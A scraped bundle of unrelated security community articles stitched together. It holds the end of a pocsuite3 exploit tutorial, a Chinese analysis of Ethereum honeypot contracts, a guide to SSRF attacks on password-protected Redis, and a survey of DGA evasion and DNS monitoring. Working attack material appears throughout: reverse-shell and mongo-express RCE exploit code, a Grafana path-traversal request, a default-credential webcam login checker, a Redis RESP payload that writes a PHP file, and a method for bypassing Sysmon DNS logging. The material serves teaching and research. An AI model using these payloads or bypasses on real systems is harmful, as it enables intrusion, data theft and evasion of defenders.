Then we will set up the docker range for testing, `docker run -it --rm -p
10000:10000 pocsuite3/cve-2019-15107`.
verify mode ok:
The attack mode obtains the execution of command line parameters and returns
the results, `--options` parameter can view the additional command line
parameters defined by PoC:
Shell mode does not work with bash payload, so use Python instead. It should
be noted that because there are some special characters in the payload, it
needs to be analyzed in combination with the specific situation of the
vulnerability, such as using base64 encoding to bypass the restriction.
def _shell(self):
try:
- self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()))
+ self._exploit(REVERSE_PAYLOAD.PYTHON.format(get_listener_ip(), get_listener_port()))
except Exception:
pass
shell mode ok：
## 5.4 mongo-express authentication remote code execution
vulnerability（CVE-2019-10758）
Vulnerability details：[mongo-express remote code execution
vulnerability（CVE-2019-10758）](https://www.seebug.org/vuldb/ssvid-98116)
Mongo-express is an open source MongoDB Web management interface based on
Node.js and express. `mongo-express <= 0.53.0` has an authentication remote
code execution vulnerability. If the attacker can log in successfully, or the
target server does not modify the default account password（`admin:pass`）, then
any node.js code can be executed.
Use `pocsuite --new` to generate templates. Because the vulnerability is not
echoed, we use DNSLog services such as [CEye](http://www.ceye.io/) or
[Interactsh](https://github.com/projectdiscovery/interactsh) to assist in
verification.
[Interactsh](https://github.com/projectdiscovery/interactsh) is a DNSLog tool
developed by projectdiscovery, a well-known open source software organization.
As long as you have a domain name, you can quickly build your own oob
services. There are also some publicly available online, such as:
`interact.sh, oast.pro, oast.live, oast.site, oast.online, oast.fun, oast.me`.
Generate template：
→pocsuite --new
...
----- Seebug ssvid (eg, 99335) [0]: 98116
PoC author (eg, Seebug) []: Seebug
Vulnerability disclosure date (eg, 2021-8-18) [2022-7-11]: 2020-01-03
Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) [https://www.seebug.org/vuldb/ssvid-98116]:
Vulnerability CVE number (eg, CVE-2021-22123) []: CVE-2019-10758
Vendor name (eg, Fortinet) []:
Product or component name (eg, FortiWeb) []: mongo-express
Affected version (eg, <=6.4.0) []: <=0.53.0
Vendor homepage (eg, https://www.fortinet.com) []: https://github.com/mongo-express/mongo-express
0 Arbitrary File Read
1 Code Execution
2 Command Execution
3 Denial Of service
4 Information Disclosure
5 Login Bypass
6 Path Traversal
7 SQL Injection
8 SSRF
9 XSS
Vulnerability type, choose from above or provide (eg, 3) []: 1
Authentication Required (eg, yes) [no]: yes
Can we get result of command (eg, yes) [no]: no
Out-of-band server to use (eg, interactsh) [ceye]: interactsh
...
Simply modify the template according to the details of the vulnerability：
def _options(self):
o = OrderedDict()
- o['user'] = OptString('', description='The username to authenticate as', require=True)
- o['pwd'] = OptString('', description='The password for the username', require=True)
+ o['user'] = OptString('admin', description='The username to authenticate as', require=True)
+ o['pwd'] = OptString('pass', description='The password for the username', require=True)
o['cmd'] = OptString('uname -a', description='The command to execute')
return o
def _exploit(self, param=''):
- if not self._check(dork=''):
+ if not self._check(dork='mongo-express='):
return False
user = self.get_option('user')
pwd = self.get_option('pwd')
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
- payload = 'a=b'
- res = requests.post(self.url, headers=headers, data=payload)
+ payload = (
+ 'document=this.constructor.constructor("return process")().'
+ f'mainModule.require("child_process").execSync("{param}")'
+ )
+ res = requests.post(f'{self.url}/checkValid', headers=headers, data=payload, auth=(user, pwd))
logger.debug(res.text)
return res.text
Set cyber range：https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
Vulnerability verification, through the command line parameter `--user admin
--pwd pass --oob-server interact.sh` specifies the user name, password, and
DNSLog service address to be used, or it can be left unspecified and the
default value is used.
## 5.5 Grafana Unauthorized arbitrary file reading
vulnerability（CVE-2021-43798）
Vulnerability details：[Grafana file reading vulnerability analysis and
summary(CVE-2021-43798)](https://blog.riskivy.com/grafana-Analysis and summary
of arbitrary file reading vulnerabilitycve-2021-43798/)
Grafana is a cross-platform, open source data visualization web application
platform. `Grafana v8.0.0-beta1` to `v8.3.0` has an unauthorized arbitrary
file reading vulnerability.
Generate template：
→pocsuite --new
...
----- Seebug ssvid (eg, 99335) [0]: 99398
PoC author (eg, Seebug) []: Seebug
Vulnerability disclosure date (eg, 2021-8-18) [2022-07-11]: 2021-12-07
Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) [https://www.seebug.org/vuldb/ssvid-99398]:
Vulnerability CVE number (eg, CVE-2021-22123) []: CVE-2021-43798
Vendor name (eg, Fortinet) []:
Product or component name (eg, FortiWeb) []: Grafana
Affected version (eg, <=6.4.0) []: <=8.3.0
Vendor homepage (eg, https://www.fortinet.com) []: https://grafana.com
0 Arbitrary File Read
1 Code Execution
2 Command Execution
3 Denial Of service
4 Information Disclosure
5 Login Bypass
6 Path Traversal
7 SQL Injection
8 SSRF
9 XSS
Vulnerability type, choose from above or provide (eg, 3) []: 0
Authentication Required (eg, yes) [no]: no
...
Modify the`_exploit` method based on the disclosed vulnerability details:
def _exploit(self, param=''):
- if not self._check(dork=''):
+ if not self._check(dork='Grafana', allow_redirects=True):
return False
- headers = {'Content-Type': 'application/x-www-form-urlencoded'}
- payload = 'a=b'
- res = requests.post(self.url, headers=headers, data=payload)
+ res = requests.get(f'{self.url}/public/plugins/grafana/../../../../../../../..{param}')
logger.debug(res.text)
return res.text
Set cyber range：`docker run -it --rm -p 3000:3000 pocsuite3/cve-2021-43798`
verify mode effects：
Adding the `-o a.json` parameter can save the result as a file in JSON Lines
format.
Attack mode, get the file path from the command line and return the result.
For the directory traversal vulnerability, one bad thing is that
`urlib3>1.24.3` will delete `../` from the request URL, which affects many
security tools. See issue：https://github.com/urllib3/urllib3/issues/1790 for
more details
Pocsuite3 hook part of the code of urllib3 and requests, supporting`../`, and
the encoding of special characters is cancelled.
## 5.6 A webcam login bypass vulnerability
Vulnerability details：[[A webcam login bypass and multiple remote code
execution vulnerabilities based on stack overflow and data analysis
report](https://paper.seebug.org/652/ "A webcam login bypass and multiple
remote code execution vulnerabilities based on stack overflow and data
analysis report")]
The Web service of this brand camera is based on HTTP basic authentication,
and there are three groups of default credentials corresponding to different
permission levels. The three groups of default credentials are:
`admin:admin`，`user:user`，`guest:guest`. During installation, the app will
only remind you to change the default password of the admin account.
It is worth mentioning that user accounts and guest accounts can also view
video streams. Most users will not change the default passwords of these
accounts, resulting in privacy disclosure.
Generate template：
→pocsuite --new
...
0 Arbitrary File Read
1 Code Execution
2 Command Execution
3 Denial Of service
4 Information Disclosure
5 Login Bypass
6 Path Traversal
7 SQL Injection
8 SSRF
9 XSS
Vulnerability type, choose from above or provide (eg, 3) []: 5
...
Modify template：
- def _options(self):
- o = OrderedDict()
- o['param'] = OptString('', description='The param')
- return o
- def _exploit(self, param=''):
- if not self._check(dork=''):
+ if not self._check(dork='Error: username or password error,please input again.'):
return False
- headers = {'Content-Type': 'application/x-www-form-urlencoded'}
- payload = 'a=b'
- res = requests.post(self.url, headers=headers, data=payload)
- logger.debug(res.text)
- return res.text
+ creds = {'admin': 'admin', 'user': 'user', 'guest': 'guest'}
+ valid_creds = {}
+ for u, p in creds.items():
+ res = requests.get(self.url, auth=(u, p))
+ if res.status_code != 401:
+ valid_creds[u] = p
+ return valid_creds
def _verify(self):
result = {}
@@ -53,17 +48,11 @@ class DemoPOC(POCBase):
if res:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
- result['VerifyInfo'][param] = res
+ result['VerifyInfo']['Info'] = res
return self.parse_output(result)
def _attack(self):
- result = {}
- param = self.get_option('param')
- res = self._exploit(param)
- result['VerifyInfo'] = {}
- result['VerifyInfo']['URL'] = self.url
- result['VerifyInfo'][param] = res
- return self.parse_output(result)
+ return self._verify()
Use `--dork-zoomeye` to specify keywords to retrieve targets from ZoomEye for
detection.
# 6 Conclusion
If you encounter any problems or have any new ideas, please feel free to
submit the issue (<https://github.com/knownsec/pocsuite3/issues/new>) or PR
(<https://github.com/knownsec/pocsuite3/compare>)
YouTube：<https://www.youtube.com/channel/UCKKmeW6hUa4cc935Jd8eijg>
* * * | 社区文章 |
### 一、前言
在前面的稿件中我们更多的会去选择分析如何在已知合约中寻找存在的漏洞，并利用漏洞以达到获取非法token的目的或者利用漏洞进行作恶。
研究安全的读者应该都清楚，在进行安全防御的时候，我们除了会对已经发生的安全事件进行跟踪之外，我们还会自行设置一个陷阱，让攻击者自己掉入我们布置好的陷阱中以便能让我们更好的分析作恶者的手法。而这个陷阱又被称为
**蜜罐** 。
在本文中，我们就针对智能合约的蜜罐进行分析。而这里的蜜罐不同于上面的传统的web中的蜜罐概念。在这里我们的蜜罐通常是攻击者编写的某种合约并部署在网络上，面向的对象是那些对Solidity语言不能够深入理解的一类投机用户。这些用户以为合约出现了严重漏洞就想通过合约去盗取token，然而不仅没有成功，反而把自己的本钱都赔进去了。
### 二、易于忽略的继承问题
#### 1 代码分析
在讲述这个问题之前，我们首先看一个例子，代码如下：
pragma solidity ^0.4.18;
contract Owned {
address public owner;
function Owned() { owner = msg.sender; }
modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}
contract TestBank is Owned {
event BankDeposit(address from, uint amount);
event BankWithdrawal(address from, uint amount);
address public owner = msg.sender;
uint256 ecode;
uint256 evalue;
function() public payable {
deposit();
}
function deposit() public payable {
require(msg.value > 0);
BankDeposit(msg.sender, msg.value);
}
function setEmergencyCode(uint256 code, uint256 value) public onlyOwner {
ecode = code;
evalue = value;
}
function useEmergencyCode(uint256 code) public payable {
if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;
}
function withdraw(uint amount) public onlyOwner {
require(amount <= this.balance);
msg.sender.transfer(amount);
}
}
我们先简单的对合约进行分析。
首先这里定义了一个父类合约`Owned()`，而在合约中我们只定义了一个构造函数与一个修饰器。
`function Owned() { owner = msg.sender;
}`而构造函数用于将`owner`赋值为`msg.sender`。而修饰器则是为了用于判断当前调用合约的用户是否为`owner`。
之后我们分析子合约。
子合约继承于`Owned`。关键函数如下：
function setEmergencyCode(uint256 code, uint256 value) public onlyOwner {
ecode = code;
evalue = value;
}
核心内容首先为设置函数，此函数要求调用函数的人为`owner`，并且可以设置`ecode、evalue`的值。
当我们将这两个值设定完成后，普通用户就可以调用`useEmergencyCode()`函数来完成更换`owner`操作。
function useEmergencyCode(uint256 code) public payable {
if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;
}
那用户更换完owner后会有什么好处吗？
这里我们就需要查看`withdraw`函数了。
function withdraw(uint amount) public onlyOwner {
require(amount <= this.balance);
msg.sender.transfer(amount);
}
这个函数为转账函数，调用此函数可以将合约中的token转账于`msg.sender`（不过需要转账的金额不大于此合约的余额）。也就是说如果我们能够猜对了`code`以及`evalue`的值，我们就可以更换`owner`了。
是不是听起来很美妙？？？我们似乎发现了合约中的bug。然而这就是蜜罐的核心代码。
我们分析起来是很简单的，然而我们下面进行一下测试，来看看是否跟我们分析的结果一样？
#### 2 流程测试
首先我们在测试账户下部署`TestBank`合约。
然后设定这两个参数为`100，100`。
然后我们在当前owner下向主合约存入`10 eth`的钱。
然后我们模拟用户进行操作，我们更换账号：`0x14723a09acff6d2a60dcdf7aa4aff308fddc160c`。
然后尝试直接调用取钱函数：
发现调用失败，失败的原因很明显，就是因为我们的owner不是`0x14723a09acff6d2a60dcdf7aa4aff308fddc160c`，而是先前的`0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c`。
此时我们用户通过对合约的分析发现了可以通过`useEmergencyCode()`来更改`owner`，此时模拟用户调用。
传入我们设定的100，100参数。并且调用成功，此时我们继续查看`owner`：
发现`owner`已经被更改。用户心理窃喜，似乎我们发现了合约中存在的漏洞，并且可以调用`withdraw`了！！！
然而事情没有想象中那么简单。
当我的用户开开心心的去调用`withdraw`的时候，发现事情不妙。
用户仍然无法取出合约的钱？不仅如此，用户在调用`useEmergencyCode()`时传入的value也无法取出。也就是说，合约把用户的钱全部吃掉了。
至此，蜜罐的钓鱼成功，不仅用户无法取出合约的钱，连自己的钱也赔进去了。
下面我们就来分析一下这种情况发生的原因。
#### 3 原因分析
此蜜罐能够成功的原理完全利用了用户对继承的理解不到位。关于继承，下面的参考链接中列举了详细的继承情况，并给出了分析结果。在这里我们针对本蜜罐进行分析。
[继承参考链接](https://blog.csdn.net/Programmer_CJC/article/details/80042261)
在继承中无非设计两种，一是将父合约完整的继承下来，第二是父类合约的函数进行修改。针对这两个情况，在EVM中有不同的对待方法。
我们来看下面的例子：
contract A{
uint variable = 0;
function test1(uint a) returns(uint){
variable++;
return variable;
}
function test2(uint a) returns(uint){
variable += a;
return variable;
}
}
contract B is A{
uint variable = 0;
function test2(uint a) returns(uint){
variable++;
return variable;
}
}
A中拥有`variable`变量，然而B中也拥有。然而对EVM来说，每个storage variable都会有一个唯一标识的slot
id。虽然这两个AB中的变量名相同，但是他们有不同的`slot id`，也就说明他们不是同一个变量，在底层是有所区别的。
对于函数`test1
()`来说，B可以完整的基础A中的这个函数，然而对于`test12()`，由于B将此函数修改，所以可以算做多态的感觉。也就是说A中的`test2`被B代替了。
于是B合约可以等价为：
contract B{
uint variable1 = 0;
uint variable2 = 0;
function test1(uint a) returns(uint v){
variable1++;
return variable1;
}
function test2(uint a) returns(uint v){
variable2++;
return variable2;
}
}
也就是说我的`test1`与`test2`修改的变量完全不是同一个。他们找寻的地址是不同的。
这对我们的蜜罐合约有没有启发呢？我们的蜜罐合约也为此。
由于`owned`合约是父合约
所以`onlyOwner`控制的owner为父合约的内存。也就是说此处的`owner`是子合约中的，而`onlyOwner`需要修改父类中的`owner`。
然而我们并没有接口对其进行修改，也就意味着所有人都无法修改！
那么表面的都是虚假的，所以这个合约真正的目的就是为了骗取钱财。
### 三、合约更富有
下面我们再来看一个蜜罐合约。
pragma solidity ^0.4.18;
contract MultiplicatorX3
{
address public Owner = msg.sender;
function() public payable{}
function withdraw()
payable
public
{
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
adr.call.value(msg.value)(data);
}
function multiplicate(address adr)
public
payable
{
if(msg.value>=this.balance)
{
adr.transfer(this.balance+msg.value);
}
}
}
与往常一样，我们首先需要对这个合约进行一个简单的分析。
这个合约有个`withdraw()`函数，这个函数用于使合约的拥有者将合约的所有余额进行提取。而这个函数目前对于我们来说无法用到，因为我们无法改变`owner`的值，所以对于普通用户来说是无法使用这个函数的。
下面是`Command`函数，这个函数同样是owner使用的。所以这里不再分析。
最重要的函数是`multiplicate`函数，我们来看看：
function multiplicate(address adr)
public
payable
{
if(msg.value>=this.balance)
{
adr.transfer(this.balance+msg.value);
}
}
在这个函数中，我们受害者首先看到函数内容就会以为：用户可以调用此函数，并赋值value一个大于合约余额的数，然后就会满足if条件，之后合约就会向adr地址进行转账操作。
然而真正的情况会有用户所想的这么美好吗？我们来做个实验。
首先我们将合约部署：
为了方便我们查看合约余额，我们写入查看余额的函数。
此时余额为0，并可以查看到owner的地址。
之后我们更换账户信息为`0xca35b7d915458ef540ade6068dfe2f44e8fa733c`。
然后我们将value的值设置为1 eth，然后调用`multiplicate`。
此时我们注意账户的金额：
并且观察此时合约中账户的余额：
因为我们之前向合约转账了3 eth，所以此时里面有余额。
此时我们更换用户，模拟被害用户，此时用户为了投机向合约中转账4 eth。目的是收到合约转回来的7 eth。
然而调用函数后我们发现账户余额只减少却没有增加。
再次查看合约发现其内部金额只增加反而没有减少。用户的钱白白成为了“战利品”。
根据我们的实验，我们发现，代码中的`this.balance`是`原来的余额+value`，而此处的`msg.value>=this.balance`可以等价为`msg.value>=this.originBalance
+ msg.value`，所以是用户不可能满足的。
这也就是用户对solidity语法了解的不清楚导致的，应该引以为戒。
### 四、参考文献
* <https://blog.csdn.net/Programmer_CJC/article/details/80042261>
* <https://etherscan.io/address/0x5aA88d2901C68fdA244f1D0584400368d2C8e739#code>
* <https://etherscan.io/address/0x35c3034556b81132e682db2f879e6f30721b847c#code>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# 浅析SSRF认证攻击Redis
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前段时间evoA师傅提到了SSRF可以攻击有密码认证的Redis服务，网上的文章大部分都是未授权打Redis，而有关SSRF认证攻击Redis的文章很少，在这里简单分析一下，如有错误还望斧正。
## SSRF
SSRF漏洞的原理是利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务，我们可以用其探测内网信息、攻击内网应用、穿透防火墙、读取任意文件等。
这里我们演示的是攻击内网Redis应用，类似的还有未授权攻击Mysql服务等。
## SSRF未授权攻击Redis
当存在SSRF漏洞且内网中Redis服务可以未授权访问时，我们可以利用gopher协议构造tcp报文发送一系列请求来攻击Redis服务。
常见的几种攻击方式：
* 利用计划任务执行命令反弹shell
* 写ssh-keygen公钥然后使用私钥登陆
* 往web物理路径写webshell
网上一堆利用文章，这里不再阐述，这里主要分析未授权攻击的数据包。
pull一个redis服务的docker容器
`docker pull ju5ton1y/redis`
`docker run -d -p 8001:6379 ju5ton1y/redis`
设置未授权
`sed -i 's/requirepass 123123/#requirepass 123123/g' /etc/redis.conf`
`docker restart id`
进入容器
`apt-get install tcpdump`
`tcpdump -i eth0 port 6379 -o nopass.pcap`
利用工具生成payload，直接打即可。
通过翻阅官网文档<https://redis.io/topics/protocol>，可以看到Redis使用的是RESP协议
（ps:英语太渣，谷歌翻译可能不太准确，具体可直接看原文。）
可以看到客户端将命令发送到Redis服务器的流程为
* 客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays。
* Redis服务器回复发送任何有效RESP数据类型作为回复的客户端。
Bulk Strings用于表示长度最大为512 MB的单个二进制安全字符串，按以下方式编码：
* 一个`$`字节后跟组成字符串的字节数（一个前缀长度），由CRLF终止。
* 实际的字符串数据。
* 最终的CRLF。
字符串`foobar`的编码如下：`$6rnfoobarrn`。
RESP Arrays使用以下格式发送:
* 一个`*`字符作为第一个字节，后跟数组中的元素数作为十进制数，后跟CRLF。
* 数组中的每个元素都附加RESP类型。
现在数据包中的每一行数据就好理解了。每一个`*number`代表每一行命令，number代表每行命令中数组中的元素个数。`$number`代表每个元素的长度。
*1
$8
flushall
*3
$3
set
$1
1
$22
<?php phpinfo();?>
*4
$6
config
$3
set
$3
dir
$4
/tmp
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
## SSRF认证攻击Redis
`sed -i 's/#requirepass 123123/requirepass 123123/g' /etc/redis.conf`
`docker restart id`
进入容器`tcpdump -i eth0 port 6379 -o havepass.pcap`
本地客户端发送命令到容器6379端口
随便查看部分tcp流
可以看到在发送请求之前都发送了下面这条命令用来认证
*2
$4
AUTH
$6
123123
在官方文档中提到Redis是`Request-Response model`.
`A client can use the same connection in order to issue multiple commands.
Pipelining is supported so multiple commands can be sent with a single write
operation by the client, without the need to read the server reply of the
previous command before issuing the next one. All the replies can be read at
the end..`
大致意思是说Redis客户端支持管道操作，
**可以通过单个写入操作发送多个命令，而无需在发出下一个命令之前读取上一个命令的服务器回复。所有的回复都可以在最后阅读** 。
这也是Redis在认证情况下依然可以被攻击到原因。
重新构造数据包，添加`%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A`
测试
可以看到写入成功
## 后记
在渗透环境中假如找到了SSRF漏洞且内网中开着有认证的Redis服务，我们可以写个脚本用弱口令跑一波SSRF认证攻击Redis，说不定会有突破。 | 社区文章 |
## DGA
DGA，顾名思义常用于构建恶意域名，像wannacry，xshellghost这些也都使用了DGA域名用于躲避黑名单检测。
先前有一篇通过使用LSTM来预测DGA域名的论文解读传遍了各大平台，基本就是通过LSTM这种基于RNN的进阶算法，可以在大跨度的时间区域范围内进行学习并预测可能存在的新的信息，准确率相当之高。并且目前大量类似的这种预测DGA域名的机器学习算法都是基于对随机域名的样本集学习再预测。
那么关键问题就是DGA域名的随机性貌似给它也带来了一些不方便。如何突破这个随机性，接下来攻击者针对这些新生的算法进行了研究和绕过。
**对抗升级**
针对上述随机性问题，可以针对字符熵来辅助判断是否为DGA域名，为了突破随机性过于明显的特征。研究人员实现了一种伪随机的DGA算法，名为CharBot，该算法成功攻击了一些DGA
classifier，例如名为FANCI的RF模型和名为LSTM.MI的DNN模型。
这种基于字符的DGA算法主要使用了如下三个数据集作为基本输入：
1. 合法二级域名（SLD）；
2. 顶级域名（TLD）；
3. 一个用作伪随机化种子的日期数值；
那么CharBot的基本算法过程如下（具体算法伪代码如图所示）：
1. 选择一个data set中的domain；
2. 选择SLD中两个字符（替换的字符越多，DGA classifier检测率越高，越少则已注册越多。2个为平衡这两种状态的最佳中间值）；
3. 选择两个替换字符（算法保证替换字符与原有字符不一样）；
4. 添加com,uk,biz,fr,jp这些后缀然后成为顶级域名。
这种算法很大程度降低DGA
classifier对随机化的检测率。但是该算法唯一的实现阻碍在于软件在内置该算法时需要内置大量的域名数据集，导致软件本身的文件大小大大提升。但是根据实际测试，一个包含Alexa全局数据集的python代码体积还是比DeepDGA的算法实现代码体积小，所以该问题不会影响在恶意软件中部署CharBot算法。
检测CharBot算法生成的域名有如下一些方法：
1. 与Alexa样本比较发现是否存在几个字符替换的现象（Alexa样本巨大，且攻击者可能不使用Alexa样本，防御成本过高）；
2. 使用更复杂的模型来训练处理，但是也是不太可行，因为需要定期重新训练，且需要处理的对象过多；
3. 重复的白盒对抗训练，但对抗学习的参数难调；
4. 使用DGA域名以外的信息进行辅助判断，例如IP地址，域查询频率和时间等。
## **关于DNS类攻击的解决方法**
常见的一些对恶意域名的官方拉黑办法有大家熟知的DNS
Sinkhole，NXDomain，或者是将其映射到实验性IP地质类（D类地址和E类地址）等。但是这些办法都是已经捕捉到恶意域名后再对其拉黑的方式，那么如何捕捉恶意域名，或者在应急响应的过程中发现恶意的DNS活动流量？研究者对此开发了多个框架系统。
**PDNS**
这里的PDNS（Process-DNS system）与之前提到的PDNS（Passive
DNS）不一样。这里的PDNS是可以针对进程级别的DNS流量进行监测的系统，其监测能力主要是是基于两大特征：
1. 网络特征
域名的whois信息（域名使用时长，域名注册信息，域名注册地址）；
IP whois信息和IP物理定位（AS自治系统编号，IP物理定位）；
授权解析服务器（域名TTL值）
2. 进程特征
DNS活动信息（域名和主机名，域名解析失败率）；
进程信息（加载dll，code signing）；
该系统是部署在一个后台服务器和各个需要被监控的终端主机上的，它弥补了传统DNS监测系统的溯源定位不精确的缺陷：
1. PDNS分析细粒度级别由主机级别到了线程级别，收集的数据更加敏感更利于模型建立；
2. 流程为中心可以立即确定恶意进程；
3. 终端部署方式可以提高对DNS-over-TLS/HTTPS的可见性；
那么为什么PDNS需要将这两个特征（网络特征和进程特征）绑定在一起进行分析使用呢？这里首先区分定义一下什么是软件，什么是进程。软件可以启动多个进程，进程是软件的一个或其中一个运行实体。
如图所示，Skype.exe启动了多个进程，每个进程都连接到Skype或Microsoft等相关的域，Skype启动的这些进程收集到的29K个DNS查询最终只对应到19个域，这其中17个域由Microsoft或skype注册。除了Skype在爱尔兰（IE）注册的域名外，它们只在四个组织下注册，并且只在美国（US）注册。程序DNS配置文件还显示了程序的软件发布者与程序访问的域的注册者之间的相关性。skype.exe的代码签名信息将软件发布者标识为“Skype
Software Sarl”。相应地，DNS
Whois记录确认大多数dns查询都有“skype”或“microsoft”作为注册者，而注册者最终是同一家公司。Skype软件以图形界面运行，允许用户交互。所以从这些信息可以看得出来，Skype是一个合法的不具有恶意行为的软件。
而Mal.exe就表现出截然相反的特征，其访问了大概20个不同的域，且所有域都是在不同地理位置的不同组织下注册的，而且某些域为NXDOMAIN。虽然恶意软件是正确签名的，但是代码签名者几乎不匹配域的注册者。恶意软件主要作为后台进程运行，而不加载GUI和用户交互DLL。这些信息表现了其大概率上为一个执行了恶意行为的软件。
PDNS系统的基本运行过程如下：
1. 装载监控客户端的agent拦截监测DNS流量中的活动行为；
2. agent也会从内核获取进程信息（加载的dlls, code signing）；
3. agent将获取到的信息传递给backend服务器；
4. backend服务器获取外部网络特征信息；
5. backend服务器获取DNS历史活动信息；
PDNS的后台服务器获取到上述复杂信息后会丢给内置的机器学习算法进行分析判断，最后给出结果是否存在恶意软件传出或传入的DNS流量，并且能准确溯源该恶意软件的具体宿主及其进程信息。为了找到最佳classifier，研究者使用2015-2017的恶意软件样本作为输入测试几种训练模型，可以从训练结果的视图中发现随机森林算法（RF）的判断恶意软件的准确性最高。
上述过程存在两个难题，一是如何捕获到所有的DNS活动，二是如何将捕获到的DNS活动与进程联系在一起。
软件通常通过两个信道进行域名解析活动：
1. 与解析服务器之间的UDP通信；
针对这个信道，使用网络跟踪工具即可，比如普林斯顿的Hone开源项目（该项目本身就可以将每个捕获到的包与进程ID联系在一起）。
2. 软件将该解析认为直接委派给系统本身的DNS解析功能；
捕获进程与解析服务器之间的通信数据或者读取本地服务产生的日志文件。
针对Linux主机，一般开发者不会使用Linux内部的DNS解析服务，所以直接通过Hone即可捕获读取。而针对Windows系统而言，开发者一般都会使用Windows自带的DNS
Client Service，所以在Windows 8及以下版本，PDNS会拦截LPRC通信进行分析，而在Windows 8.1及以上版本可以直接从DNS
Client Service的日志中读取即可。
那么为什么DNS Client Service日志在Windows 8及以下版本不可行呢？这是因为该日志功能存在一定的bug。
**DNS log问题**
针对Windows平台针对DNS Client Service的日志记录的问题，scz曾在博客中写关于为何Windows的某些低版本无法正常记录DNS
log。我依样画葫芦分析了存在问题的dll组件，即dnsrslvr.dll。基本过程不再详述，可以查看 **scz** 的博客。
简单来说有两个问题，第一个在通过反编译在Strings中直接搜索关键字“dnsrs”可以看到两个略有不同的日志文件的文件名，dnsrslvr.log和dnsrsvlr.log，很明显dnsrsvlr.log与dnsrslvr.dll这个组件名不太符合，所以简而言之是这里是个手误写错单词了，但这里并不是影响log记录不正常的关键。
第二个是在DnsLogInit()调用关键函数DnsLogIt()中，进入该函数主体时做了一个条件判断，判断依据是一个全局变量LoggingMode，这个全局变量在DnsLogInit()中定义过一次，初始化值为0，退出DnsLogInit()后回到初始化值0，然后导致在DnsLogIt()函数主体时过不了条件判断，直接退出函数，所以就无法正常记录DNS日志了。
经过测试分析，安装了KB2956577补丁后即不存在该问题了。scz的博客中也描述了如何不安装补丁也可以使该功能正常化。
**DNS记录tricks**
DNS中常被用作挖掘子域名的一个漏洞DNS域传输漏洞还有个鲜为人知的一面。我们熟知DNS在TCP/IP栈中是一个比较另类的协议，因为其同时占用了TCP和UDP的53端口。在RFC1035中记载了只有两种情况下，DNS会使用TCP
53端口。一个就是在进行域传输操作时，会使用TCP 53端口进行数据同步；而DNS进行解析查询优先使用UDP
，当UDP完成不了的情况下（即查询数据过大，超过512字节），则转换TCP查询。所以监控TCP协议上的DNS数据传输，准确度会提高很多，但是捕获量并不会非常多。
**微软的新方案**
新版Sysmon提供了Event ID 22: DNSEvent (DNS
query)，即只要有DNS请求发出就会记录日志，配置也很简单明了。可参考<https://github.com/SwiftOnSecurity/sysmon-config。>
**对抗升级**
就在普天同庆Sysmon的新升级刚没几天，一篇关于绕过Sysmon的DNS日志记录的利用文章就公布了。
简单读了下文章，可以知道在sysmon启动后找到一个my event trace session的data collector
set，这个名字曾出现在微软提供的样例代码中。
利用逆向找到该字符串所在函数进行分析。函数中提供了一个数据指针，分析发现该数据指针恰好是DNS_CLIENT所使用的的数据指针。
所以我们直接自定义一个简单的DNS查询函数，再对其进行动态调试即可发现其中端倪。调试中可以从堆栈信息中发现调用了evenwrite函数。
Evenwrite结束后会调用evenwritetransfer这个函数来写入日志，所以我们只要修改DLL，避开evenwritetransfer这个函数即可。
## **利益 OR 恶意？**
使用DNS来跟踪用户行为，保持会话不中断。该技术主要解决了DNS缓存时间短的问题，并且突破cookie等此类技术在多浏览器和浏览器隐私模式下无法继续追踪的限制，同时也不受VPN，SOCKS4，IPv6，“企业全家桶软件包”（企业集群中的计算机的fingerprint几乎一样）等的影响。不过该技术本身也具有一定的限制，所以需要和传统追踪技术（cookie所代表的的tagging技术和字体识别这类的计算机fingerprint识别技术）联合使用才能最大限度发挥作用。
图中红色部分是跟踪者实际可控的组件部分。
1. 浏览器加载跟踪代码片段；
2. 浏览器向操作系统的Stub Resolver请求解析xi.anonymity.fail域名；
3. 操作系统向解析平台传递解析请求，而解析平台分析得知需要向域名拥有者控制的DNS解析器解析。且该DNS解析器回应了RRset，即一系列随意排序的跟踪者可控的IP地址；
4. Stub Resolver缓存RRset，并向浏览器返回IP地址列表；
5. 浏览器向RRset中的第一个IP地址发送HTTP请求；
6. 服务器向不同的IP地址发送不同的响应内容；
7. JS收集从服务器传来的数据并组装成一个ID；
对于这种追踪方法，只有使用HTTP代理或者Tor代理才能肯定使其失效。
从这里我们可以发现一项技术本身并没有对错，只是用它的人的目的决定了是否存在恶意。该追踪技术还存在一些技术细节，我已经详细撰文发在SecQuan公众号上。<https://mp.weixin.qq.com/s/cSjoVgxjOAuIUlewX9iIoA>
## **致谢**
ourren@Secwiki
sshruoshui(warethink#gmail.com)@NUTD
本文首发于安全学术圈（SecQuan）公众号。本公众号分享安全方面的论文写作、会议发表、基金申请方面的资料。
## **参考文献**
[1] Woodbridge, J., Anderson, H. S., Ahuja, A., & Grant, D. (2016). Predicting
domain generation algorithms with long short-term memory networks. arXiv
preprint arXiv:1611.00791.
[2] Peck, J., Nie, C., Sivaguru, R., Grumer, C., Olumofin, F., Yu, B., ... &
De Cock, M. (2019). CharBot: A Simple and Effective Method for Evading DGA
Classifiers. arXiv preprint arXiv:1905.01078.
[3] Sivakorn, S., Jee, K., Sun, Y., Kort-Parn, L., Li, Z., Lumezanu, C., ... &
Li, D. (2019). Countering Malicious Processes with Process-DNS Association. In
NDSS.
[4] Pupeng (2015, Feb, 20). Hone [Web log post]. Retrieved August 01, 2019,
from <https://github.com/pupeng/hone>
[5] scz. (2017, May 11). DNS系列(10)--开启DNS Client Service日志 [Web log post].
